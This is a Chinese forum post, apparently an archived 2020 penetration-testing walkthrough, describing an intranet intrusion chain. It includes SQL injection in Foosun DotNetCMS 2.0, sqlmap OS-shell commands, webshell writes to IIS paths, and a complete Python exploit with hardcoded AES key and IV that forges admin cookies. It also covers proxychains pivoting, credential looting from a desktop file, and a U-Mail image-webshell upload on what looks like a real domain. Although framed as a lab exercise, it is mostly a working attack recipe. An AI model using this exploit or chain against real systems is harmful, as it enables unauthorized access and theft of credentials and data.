搜索

[28176] 2020-02-20_内网漫游-模拟真实环境

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-02-20_内网漫游-模拟真实环境 内 网 漫 游 - 模 拟 真 实 环 境 S h a d o w - G   O t s 安 全   2 0 2 0 - 0 2 - 2 0 声 明 ： 本 篇 文 章 测 试 网 络 环 境 为 内 网 搭 建 靶 场 测 试 先 了 解 一 下 网 络 结 构 图 （ 结 构 图 为 测 试 后 绘 制 ） 关 于 1 0 段 的 F T P 因 时 间 关 系 没 有 继 续 进 行 探 测 信 息 收 集 ： 信 息 收 集 ： 通 过 N M A P 进 行 端 口 扫 描   发 现 网 站 开 放 了 8 0 ， 4 4 3 ， 7 0 0 ， 8 0 8 0 端 口 8 0 端 口 下 存 在 w e b 服 务   ： F o o s u n   D o t N e t C M S   2 . 0     网 站 为 I I S 搭 建 的 a s p x 站     服 务 器 操 作 系 统 为 w i n 2 0 0 8 8 0 8 0 端 口 下 存 在 路 由 登 录 界 面 渗 透 过 程 ： 渗 透 过 程 ：
通 过 网 上 查 找 F o o s u n   D o t N e t C M S   2 . 0 发 现 该 C M S 存 在 S Q L 注 入   后 台 登 录 绕 过 S Q L 注 入 ： 注 入 ： 通 过 查 询 发 现 该 C M S 存 在 s q l 注 入   注 入 点 为 ： w w w . t e s t . c o m / u s e r / C i t y _ a j a x . a s p x ? C i t y l d = 1 使 用 s q l m a p 对 注 入 点 进 行 测 试 ， 可 以 跑 处 后 台 用 户 名 及 密 码 ， 但 密 码 较 复 杂 解 不 开 尝 试 使 用 s q l m a p 查 询 权 限 ， 发 现 权 限 较 高 ， 并 且 可 以 反 弹 s h e l l s q l m a p 查 看 权 限 ： s q l m a p . p y   - u   网 址   - - p r i v i l e g e s s q l m a p 反 弹 s h e l l ： s q l m a p . p y   - u   网 址   - - o s - s h e l l
使 用 s h e l l   查 询 一 下 权 限 和 I P 发 现 权 限 为 系 统 权 限 可 以 进 行 写 入 操 作   发 现 I P 为 1 9 2 . 1 6 8 . 1 . 1 2 3   说 明 该 网 站 是 搭 建 在 1 9 2 . 1 6 8 . 1 . 1 2 3 上 ， 在 通 过 端 口 转 发   转 到 了 1 9 2 . 1 6 8 . 3 1 . 5 5 上 发 现 有 写 入 权 限     进 行 写 入 一 句 话 木 马 ， 但 是 写 入 一 句 话 木 马 需 要 知 道 服 务 器 的 绝 对 路 径 网 站 为 I I S 搭 建 ， 我 们 可 以 尝 试 猜 一 下 绝 对 路 径 C ： i n e t p u b w w w r o o t D ： i n e t p u b w w w r o o t 发 现 可 以 写 入 的 绝 对 路 径 为 C ： i n e t p u b w w w r o o t       成 功 写 入 a s p 的 一 句 话 在 写 a s p x 的 一 句 话 时 发 现 < 无 法 识 别 ， 那 就 需 要 转 译 可 以 使 用 ^   （ 在 一 句 话 里 的 所 有 < 都 需 要 转 译 ） 使 用 菜 刀 或 蚁 剑 可 以 成 功 访 问   我 们 就 成 功 可 以 读 取 1 9 2 . 1 6 8 . 1 . 1 2 3 的 文 件 了 后 台 登 录 绕 过 后 台 登 录 绕 过   通 过 与 s q l 注 入 的 结 合 使 用 可 以 绕 过 后 台 登 录 工 具 ： E d i t T h i s C o o k i e       p y t h o n   C r y p t o 模 块 漏 洞 具 体 产 生 原 因 可 以 百 度 一 下 ， 这 里 只 介 绍 测 试 过 程 通 过 注 入 可 以 获 取 U s e r N u m b e r ：
h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 5 5 / u s e r / C i t y _ a j a x . a s p x ? C i t y I d = 1 % 2 7 % 2 0 u n i o n % 2 0 a l l % 2 0 s e l e c t % 2 0 U s e r N u m , U s e r N u m % 2 0 f r o m % 2 0 d b o . f s _ s y s _ U s e r % 2 0 w h e r e % 2 0 U s e r N a m e = % 2 7 a d m i n 将 得 到 的 U s e r N u m b e r 进 行 加 密 ， 得 到 加 密 串 ， 写 入 c o o k i e 就 可 以 成 功 登 陆 。 但 是 c o o k i e 需 要 加 密 ， 使 用 下 面 的 脚 本 进 行 加 密 使 用 e x p 代 码 如 下 ：
1 .   # c o d i n g : u t f - 8 2 .   i m p o r t   a r g p a r s e 3 .   i m p o r t   u r l l i b 4 .   i m p o r t   t r a c e b a c k 5 .   i m p o r t   b a s e 6 4 6 .   f r o m   C r y p t o . C i p h e r   i m p o r t   A E S 7 .   f r o m   b i n a s c i i   i m p o r t   b 2 a _ h e x ,   a 2 b _ h e x 8 .   # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 9 .   # # s e a r c h   k e y w o r d ：                       # # 1 0 .   # # i n u r l : / m a n a g e / L o g i n . a s p x       # # 1 1 .   # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 1 2 .   K E Y   =   ' G u z ( % & h j 7 x 8 9 H $ y u B I 0 4 5 6 F t m a T 5 & f v H U F C y 7 6 * h % ( H i l J $ l h j ! y 6 & ( * j k P 8 7 j H 7 ' 1 3 .   I V   =   ' E 4 g h j * G h g 7 ! r N I f b & 9 5 G U Y 8 6 G f g h U b # e r 5 7 H B h ( u % g 6 H J ( $ j h W k 7 & ! h g 4 u i % $ h j k ' 1 4 .   d e f   p a r s e _ a r g s ( ) : 1 5 .       p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( ) 1 6 .       p a r s e r . a d d _ a r g u m e n t ( " - u " ,   " - - u r l " ,   h e l p = " t h e   u r l " ,   r e q u i r e d = T r u e ,   n a r g s = " + " ) 1 7 .       r e t u r n   p a r s e r . p a r s e _ a r g s ( ) 1 8 .   d e f   r u n ( u r l ) : 1 9 .       t r y : 2 0 .               u s e r n u m b e r   =   g e t _ u s e r n u m b e r ( u r l ) 2 1 .               i f   u s e r n u m b e r   i s   n o t   N o n e : 2 2 .                       e n c r y p t _ c o o k i e   =   g e n e r a t e _ c o o k i e ( u s e r n u m b e r ) 2 3 .                       # 写 入 c o o k i e 中 2 4 .                       w r i t e _ c o o k i e ( u r l ,   e n c r y p t _ c o o k i e ) 2 5 .       e x c e p t   E x c e p t i o n : 2 6 .               t r a c e b a c k . p r i n t _ e x c ( ) 2 7 .   d e f   g e t _ u s e r n u m b e r ( u r l ) : 2 8 .       f u l l u r l   =   u r l   +   " / u s e r / C i t y _ a j a x . a s p x ? C i t y I d = 1 '   u n i o n   a l l   s e l e c t   U s e r N u m , U s e r N u m   f r o m   d b o . f s _ s y s _ U s e r   w h e r e   U s e r N a m e = ' a d m i n " 2 9 .       c o n t e n t   =   u r l l i b . u r l o p e n ( f u l l u r l ) . r e a d ( ) 3 0 .       i n d e x   =   c o n t e n t . i n d e x ( " < o p t i o n   v a l u e = " " ) 3 1 .       i f     i n d e x   ! =   - 1 : 3 2 .               u s e r n u m b e r   =   c o n t e n t [ i n d e x + 1 5 : ] 3 3 .               u s e r n u m b e r   =   u s e r n u m b e r [ 0 :   c o n t e n t . i n d e x ( " " " ) + 1 ] 3 4 .               p r i n t   " G e t   u s e r n u m b e r   s u c c e s s .   U s e r n u m b e r   i s   : " ,   u s e r n u m b e r 3 5 .               r e t u r n   u s e r n u m b e r 3 6 .       e l s e : 3 7 .               p r i n t   " G e t   u s e r n u m b e r   f a i l " 3 8 .               r e t u r n   N o n e 3 9 .   d e f   p k c s 7 p a d d i n g ( d a t a ) : 4 0 .       b s   =   A E S . b l o c k _ s i z e 4 1 .       p a d d i n g   =   b s   -   l e n ( d a t a )   %   b s 4 2 .       p a d d i n g _ t e x t   =   c h r ( p a d d i n g )   *   p a d d i n g 4 3 .       r e t u r n   d a t a   +   p a d d i n g _ t e x t 4 4 .   d e f   g e n e r a t e _ c o o k i e ( u s e r n u m b e r ) : 4 5 .       o r g s t r   =   " % s , a d m i n , 0 , 1 , F a l s e " % ( u s e r n u m b e r , ) 4 6 .       c r y p t o r   =   A E S . n e w ( K E Y [ 0 : 3 2 ] ,   A E S . M O D E _ C B C ,   I V [ 0 : 1 6 ] ) 4 7 .       c i p h e r t e x t   =   c r y p t o r . e n c r y p t ( p k c s 7 p a d d i n g ( o r g s t r ) ) 4 8 .       c i p h e r t e x t   =   b a s e 6 4 . b 6 4 e n c o d e ( c i p h e r t e x t ) 4 9 .       r e t u r n   c i p h e r t e x t 5 0 .   d e f   w r i t e _ c o o k i e ( u r l ,   c i p h e r c o o k i e ) : 5 1 .       p r i n t   " G e n e r a t e   C o o k i e [ S I T E I N F O ] : " ,   c i p h e r c o o k i e 5 2 .       p r i n t   " N o w   y o u   c a n   w r i t e   c o o k i e   a n d   a c c e s s   t h e   u r l :   % s / m a n a g e / i n d e x . a s p x " % ( u r l , ) 5 3 .   i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : 5 4 .       a r g s   =   p a r s e _ a r g s ( ) 5 5 .       t r y : 5 6 .               i f   a r g s . u r l   i s   n o t   N o n e : 5 7 .                       r u n ( a r g s . u r l [ 0 ] ) 5 8 .       e x c e p t   E x c e p t i o n ,   e : 5 9 .               p r i n t   " p y t h o n   F o o s u n _ e x p . p y   - u   [ u r l ] " 把 e x p 代 码 复 制 ， 在 桌 面 新 建 一 个 F o o s u n _ e x p . p y 脚 本 文 件 并 把 代 码 粘 贴 在 c m d 下 使 用 p y t h o n 运 行 该 文 件 ， 如 果 无 法 运 行 说 明 p y t h o n 没 有 安 装 C r y p t o 模 块 使 用 p i p   进 行 安 装 C r y p t o 模 块
安 装 命 令 ： p i p   i n s t a l l   p y c r y p t o d o m e 安 装 成 功 后 在 运 行 F o o s u n _ e x p . p y 就 可 以 获 取 到 加 密 C o o k i e   用 E d i t T h i s C o o k i e 写 入 浏 览 器 C o o k i e ， 再 访 问 管 理 主 页 面 链 接 即 可 。 如 果 p i p 无 法 使 用 的 话   有 2 个 原 因 1 . 没 有 设 置 环 境 变 量   在 环 境 变 量 的 p a t h 中 加 入 ： G : P y t h o n S c r i p t s 2 . p i p 版 本 低   升 级 p i p 这 样 我 们 就 成 功 登 录 后 台 ， 进 入 后 台 后 通 过 修 改 上 传 参 数 ， 使 a s p x 的 文 件 可 以 上 传 ， 随 便 找 个 上 传 点 进 行 上 传 一 句 话   之 后 使 用 菜 刀 连 接 到 这 里 我 们 已 经 拿 到 了 I P 为 1 9 2 . 1 6 8 . 1 . 1 2 3 内 网 服 务 器 ， 要 想 进 行 内 网 漫 游 ， 得 获 取 路 由 的 权 限 拿 到 1 9 2 . 1 6 8 . 1 . 1 2 3 服 务 器 后   要 进 行 内 网 漫 游   需 要 挂 代 理
当 我 们 使 用 菜 刀 进 行 信 息 收 集 时 ， 发 现 权 限 不 够 ， 这 里 就 需 要 提 权 了 同 时 发 现 1 9 2 . 1 6 8 . 1 . 1 2 3 开 放 了 3 3 8 9 ， 4 4 5 端 口 ， 我 们 可 以 使 用 溢 出 进 行 提 权 这 里 对 挂 代 理   提 权 及 4 4 5 端 口 的 入 侵 就 不 过 多 描 述 了 ， 可 以 看 我 之 前 的 文 章 这 里 可 以 使 用 之 前 的 注 入 点 进 行 添 加 账 户 ， 并 加 入 管 理 员 组 （ 以 下 操 作 都 为 代 理 后 的 操 作 ） 使 用 代 理 打 开 远 程 桌 面 连 接   连 接 1 9 2 . 1 6 8 . 1 . 1 2 3   进 行 信 息 收 集 p r o x y c h a i n s   r d e s k t o p   I P   使 用 自 己 新 建 的 用 户 名 登 录 ， 发 现 在 A d m i n i s t r a t o r 的 桌 面 下 有 个 t x t   文 件   打 开 发 现 一 个 m a i l 的 用 户 及 密 码 ， 一 个 路 由 的 用 户 及 密 码
尝 试 不 挂 代 理 登 录 发 现 不 允 许 I P 登 录 ， 说 明 路 由 对 登 录 进 行 限 制 使 用 代 理 登 录 ， 成 功 进 入 路 由 界 面 ， 但 是 是 普 通 权 限
通 过 路 由 发 现 内 网 还 有 一 台 I P 为 1 7 2 . 1 9 . 2 3 . 1 2 3 的 服 务 器 （ 1 9 2 . 1 6 8 . 1 . 2 5 为 缓 存 ） 通 过 路 由 发 现 ， 内 网 的 I P 可 以 相 互 访 问 使 用 n m a p 对 1 7 2 . 1 9 . 2 3 . 1 2 3 的 端 口 进 行 扫 描 p r o x y c h a i n s   p r o x y c h a i n s   n m a p   - v v v   - n   - s T   - P N   i p 1 7 2 . 1 9 . 2 3 . 1 2 3 开 放 了 8 0 ， 1 3 5 ， 1 3 9 等 端 口 使 用 浏 览 器 对 1 7 2 . 1 9 . 2 3 . 1 2 3 访 问 发 现 w e b 服 务 一 个 邮 件 的 c m s   U - M A I L   需 要 登 录 ， 使 用 之 前 获 得 的 m a i l 的 用 户 及 密 码 成 功 登 录 发 现 该 网 站 为 I I S   7 . 0 搭 建 ， 而 I I S   7 . 0 存 在 解 析 漏 洞       在 一 个 文 件 路 径 ( / x x . j p g ) 后 面 加 上 / . p h p 会 将 x x . j p g / . p h p 解 析 为 p h p 文 件 尝 试 在 网 上 搜 索   发 现 U - M A I L 存 在 任 意 文 件 上 传 漏 洞
这 里 登 录 的 账 号 为 ： x g k 获 取 当 前 登 录 用 户 的 u s e r _ i d ： 3 h t t p : / / m a i l . c o m i n g c h i n a . c o m / w e b m a i l / c l i e n t / o a b / i n d e x . p h p ? m o d u l e = o p e r a t e & a c t i o n = m e m b e r - g e t & p a g e = 1 & o r d e r b y = & i s _ r e v e r s e = 1 & k e y w o r d = x g k   通 过 上 传 一 个 . j p g 的 文 件 获 取 上 传 后 获 取 " f i l e _ i d " : 利 用 解 析 漏 洞 上 传   f f . j p g   的 图 片 马   " f i l e _ i d " : 1 5 5 9 8 0 8 7 4 7 4
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理